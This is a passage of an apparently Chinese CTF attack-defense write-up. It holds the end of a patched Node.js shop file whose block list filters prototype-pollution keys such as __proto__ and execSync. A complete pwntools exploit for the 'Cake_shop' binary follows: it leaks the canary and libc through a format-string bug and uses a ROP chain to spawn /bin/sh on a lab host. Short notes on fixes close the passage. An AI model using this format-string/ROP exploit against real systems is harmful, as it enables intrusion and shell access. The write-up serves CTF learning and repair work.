</span></span><span class="line"><span class="ln">29</span><span class="cl">      <span class="nx">message</span> <span class="o">=</span> <span class="sb">`购买flag成功啦！给你/showflag这个路由，听说那里面有flag`</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">
</span></span><span class="line"><span class="ln">31</span><span class="cl">      <span class="nx">res</span><span class="p">.</span><span class="nx">render</span><span class="p">(</span><span class="s1">&#39;index&#39;</span><span class="p">,</span> <span class="p">{</span> <span class="nx">products</span><span class="p">,</span> <span class="nx">money</span><span class="p">,</span> <span class="nx">message</span><span class="p">,</span> <span class="nx">showAlert</span><span class="o">:</span> <span class="kc">true</span> <span class="p">});</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">      <span class="nx">message</span> <span class="o">=</span> <span class="s1">&#39;flag很贵的&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">      <span class="nx">res</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="s1">&#39;/&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">  <span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">    <span class="c1">// 模仿上面对数量做绝对值，防止购买负数增加金钱
</span></span></span><span class="line hl"><span class="ln">38</span><span class="cl">    <span class="nx">quantity</span> <span class="o">=</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">abs</span><span class="p">(</span><span class="nx">quantity</span><span class="p">);</span> <span class="c1">// 取绝对值
</span></span></span><span class="line"><span class="ln">39</span><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">products</span><span class="p">[</span><span class="nx">productIndex</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="nx">money</span> <span class="o">&gt;=</span> <span class="nx">products</span><span class="p">[</span><span class="nx">productIndex</span><span class="p">].</span><span class="nx">price</span> <span class="o">*</span> <span class="nx">quantity</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">      <span class="nx">money</span> <span class="o">-=</span> <span class="nx">products</span><span class="p">[</span><span class="nx">productIndex</span><span class="p">].</span><span class="nx">price</span> <span class="o">*</span> <span class="nx">quantity</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">      <span class="nx">message</span> <span class="o">=</span> <span class="sb">`成功购买了 </span><span class="si">${</span><span class="nx">quantity</span><span class="si">}</span><span class="sb"> 件 &#34;</span><span class="si">${</span><span class="nx">products</span><span class="p">[</span><span class="nx">productIndex</span><span class="p">].</span><span class="nx">name</span><span class="si">}</span><span class="sb">&#34;！`</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">
</span></span><span class="line"><span class="ln">43</span><span class="cl">      <span class="c1">// 使用 JavaScript 弹窗来显示购买成功消息
</span></span></span><span class="line"><span class="ln">44</span><span class="cl">      <span class="nx">res</span><span class="p">.</span><span class="nx">render</span><span class="p">(</span><span class="s1">&#39;index&#39;</span><span class="p">,</span> <span class="p">{</span> <span class="nx">products</span><span class="p">,</span> <span class="nx">money</span><span class="p">,</span> <span class="nx">message</span><span class="p">,</span> <span class="nx">showAlert</span><span class="o">:</span> <span class="kc">true</span> <span class="p">});</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">      <span class="nx">message</span> <span class="o">=</span> <span class="s1">&#39;购买失败，钱不够啊老铁.&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">      <span class="nx">res</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="s1">&#39;/&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">
</span></span><span class="line"><span class="ln">52</span><span class="cl">
</span></span><span class="line"><span class="ln">53</span><span class="cl"><span class="kd">function</span> <span class="nx">copy</span><span class="p">(</span><span class="nx">object1</span><span class="p">,</span> <span class="nx">object2</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="k">typeof</span> <span class="nx">object1</span> <span class="o">!==</span> <span class="s1">&#39;object&#39;</span> <span class="o">||</span> <span class="nx">object1</span> <span class="o">===</span> <span class="kc">null</span> <span class="o">||</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">      <span class="k">typeof</span> <span class="nx">object2</span> <span class="o">!==</span> <span class="s1">&#39;object&#39;</span> <span class="o">||</span> <span class="nx">object2</span> <span class="o">===</span> <span class="kc">null</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl">    <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">58</span><span class="cl">
</span></span><span class="line"><span class="ln">59</span><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">key</span> <span class="k">in</span> <span class="nx">object2</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">    <span class="c1">// 过滤原型链污染常用字符串
</span></span></span><span class="line hl"><span class="ln">61</span><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">key</span> <span class="o">===</span> <span class="s1">&#39;outputFunctionName&#39;</span> <span class="o">||</span> <span class="nx">key</span> <span class="o">===</span> <span class="s1">&#39;__proto__&#39;</span> <span class="o">||</span> <span class="nx">key</span> <span class="o">===</span> <span class="s1">&#39;constructor&#39;</span> <span class="o">||</span> <span class="nx">key</span> <span class="o">===</span> <span class="s1">&#39;prototype&#39;</span> <span class="o">||</span> <span class="nx">key</span> <span class="o">===</span> <span class="s1">&#39;return&#39;</span> <span class="o">||</span> <span class="nx">key</span> <span class="o">===</span> <span class="s1">&#39;global&#39;</span> <span class="o">||</span> <span class="nx">key</span> <span class="o">===</span> <span class="s1">&#39;process&#39;</span> <span class="o">||</span> <span class="nx">key</span> <span class="o">===</span> <span class="s1">&#39;mainModule&#39;</span> <span class="o">||</span> <span class="nx">key</span> <span class="o">===</span> <span class="s1">&#39;constructor&#39;</span> <span class="o">||</span> <span class="nx">key</span> <span class="o">===</span> <span class="s1">&#39;child&#39;</span> <span class="o">||</span> <span class="nx">key</span> <span class="o">===</span> <span class="s1">&#39;execSync&#39;</span> <span class="o">||</span> <span class="nx">key</span> <span class="o">===</span> <span class="s1">&#39;escapeFunction&#39;</span> <span class="o">||</span> <span class="nx">key</span> <span class="o">===</span> <span class="s1">&#39;client&#39;</span> <span class="o">||</span> <span class="nx">key</span> <span class="o">===</span> <span class="s1">&#39;compileDebug&#39;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line hl"><span class="ln">62</span><span class="cl">      <span class="k">continue</span><span class="p">;</span>
</span></span><span class="line hl"><span class="ln">63</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl">
</span></span><span class="line"><span class="ln">65</span><span class="cl">    <span class="k">if</span> <span class="p">(</span>
</span></span><span class="line"><span class="ln">66</span><span class="cl">      <span class="k">typeof</span> <span class="nx">object2</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">===</span> <span class="s1">&#39;object&#39;</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="ln">67</span><span class="cl">      <span class="nx">object2</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">!==</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="ln">68</span><span class="cl">      <span class="k">typeof</span> <span class="nx">object1</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">===</span> <span class="s1">&#39;object&#39;</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="ln">69</span><span class="cl">      <span class="nx">object1</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">!==</span> <span class="kc">null</span>
</span></span><span class="line"><span class="ln">70</span><span class="cl">    <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">71</span><span class="cl">      <span class="nx">copy</span><span class="p">(</span><span class="nx">object1</span><span class="p">[</span><span class="nx">key</span><span class="p">],</span> <span class="nx">object2</span><span class="p">[</span><span class="nx">key</span><span class="p">]);</span> <span class="c1">// ✅ 安全递归
</span></span></span><span class="line"><span class="ln">72</span><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">73</span><span class="cl">      <span class="nx">object1</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">=</span> <span class="nx">object2</span><span class="p">[</span><span class="nx">key</span><span class="p">];</span> <span class="c1">// ✅ 直接赋值
</span></span></span><span class="line"><span class="ln">74</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">75</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">76</span><span class="cl"><span class="p">}</span></span></span></code></pre><div class="title text-sm text-muted-foreground px-3 py-1 rounded-lg border">Easy_shop_fix.js</div><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">js</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<h1 id="pwn-cake_shop">[pwn] Cake_shop<a class="anchor" href="#pwn-cake_shop">#</a></h1>
<h2 id="break-3">break<a class="anchor" href="#break-3">#</a></h2>
<p>存在格式化字符串</p>
<p><img
  src="/12ffc6/Cake_shop_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="993" height="393"
/>
</p>
<p>exp</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">def</span> <span class="nf">nothing</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;choice&gt;&gt;&#39;</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;4&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;happens&#39;</span><span class="p">,</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">def</span> <span class="nf">buy</span><span class="p">(</span><span class="n">num</span><span class="p">,</span><span class="n">data</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;choice&gt;&gt;&#39;</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;1&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;cake $100&#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">num</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;shop&#39;</span><span class="p">,</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">p</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s1">&#39;10.1.108.15&#39;</span><span class="p">,</span><span class="mi">9999</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">payload</span><span class="o">=</span><span class="sa">b</span><span class="s2">&#34;aaa%15$p %13$p %17$pbbb&#34;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">nothing</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;aaa&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">d0</span><span class="p">,</span><span class="n">d1</span><span class="p">,</span><span class="n">d2</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;bbb&#39;</span><span class="p">,</span><span class="n">drop</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39; &#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">elf_addr</span><span class="o">=</span><span class="nb">int</span><span class="p">(</span><span class="n">d1</span><span class="p">,</span><span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="n">libc_addr</span><span class="o">=</span><span class="nb">int</span><span class="p">(</span><span class="n">d2</span><span class="p">,</span><span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="n">e</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./pwn&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="n">e</span><span class="o">.</span><span class="n">address</span><span class="o">=</span><span class="n">elf_addr</span><span class="o">-</span><span class="mh">0x156a</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="n">libc</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./libc.so.6&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="n">libc</span><span class="o">.</span><span class="n">address</span><span class="o">=</span><span class="n">libc_addr</span><span class="o">-</span><span class="mh">0x24083</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="n">index</span><span class="o">=</span><span class="mi">3</span><span class="o">+</span><span class="mi">6</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="n">a_addr</span><span class="o">=</span><span class="mh">0x4010</span><span class="o">+</span><span class="n">e</span><span class="o">.</span><span class="n">address</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="n">payload</span><span class="o">=</span><span class="s2">&#34;%&#34;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="mh">0xe0ff</span><span class="p">)</span><span class="o">+</span><span class="s2">&#34;c%9$hn%&#34;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="mh">0x10000</span><span class="o">-</span><span class="mh">0xe0ff</span><span class="o">+</span><span class="mh">0x5f5</span><span class="p">)</span><span class="o">+</span><span class="s2">&#34;c%10$hn&#34;</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="n">payload</span><span class="o">=</span><span class="n">payload</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">24</span><span class="p">,</span><span class="s1">&#39;a&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">a_addr</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">a_addr</span><span class="o">+</span><span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="n">nothing</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="n">payload</span><span class="o">=</span><span class="s2">&#34;</span><span class="si">%25600c</span><span class="s2">%9$n&#34;</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">24</span><span class="p">,</span><span class="s1">&#39;a&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x4014</span><span class="o">+</span><span class="n">e</span><span class="o">.</span><span class="n">address</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="n">nothing</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">log_level</span><span class="o">=</span><span class="s1">&#39;debug&#39;</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="n">num</span><span class="o">=</span><span class="mi">666</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;choice&gt;&gt;&#39;</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;1&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;cake $100&#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">num</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="n">canary</span><span class="o">=</span><span class="nb">int</span><span class="p">(</span><span class="n">d0</span><span class="p">,</span><span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="n">rdi</span><span class="o">=</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span><span class="o">+</span><span class="mh">0x23b6a</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="n">ret</span><span class="o">=</span><span class="n">rdi</span><span class="o">+</span><span class="mi">1</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="n">bin_sh</span><span class="o">=</span><span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="s1">&#39;/bin/sh</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl"><span class="n">system</span><span class="o">=</span><span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;system&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl"><span class="n">payload</span><span class="o">=</span><span class="sa">b</span><span class="s1">&#39;a&#39;</span><span class="o">*</span><span class="mh">0x28</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mh">0xbfbfbfbf</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl"><span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">ret</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">bin_sh</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">system</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">
</span></span><span class="line"><span class="ln">48</span><span class="cl">
</span></span><span class="line"><span class="ln">49</span><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<h2 id="fix-2">fix<a class="anchor" href="#fix-2">#</a></h2>
<p>修改使用puts进行输出，成功修复</p>
<p><img
  src="/12ffc6/Cake_shop_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1003" height="396"
/>
</p>
<h1 id="pwn-stu_admin">[pwn] stu_admin<a class="anchor" href="#pwn-stu_admin">#</a></h1>
<h2 id="fix-3">fix<a class="anchor" href="#fix-3">#</a></h2>
<p>edit功能存在堆溢出，溢出了16字节</p>
<p><img
  src="/12ffc6/stu_admin_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="903" height="761"
/>
</p>
<p>修复溢出</p>
<p><img
  src="/12ffc6/stu_admin_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="935" height="885"
/>
</p>
<h1 id="总结">总结<a class="anchor" href="#总结">#</a></h1>
<p>整体难度比往年都要简单，就是搞不懂为什么check的轮次这么少，只有两轮，而且不返回check的结果</p>
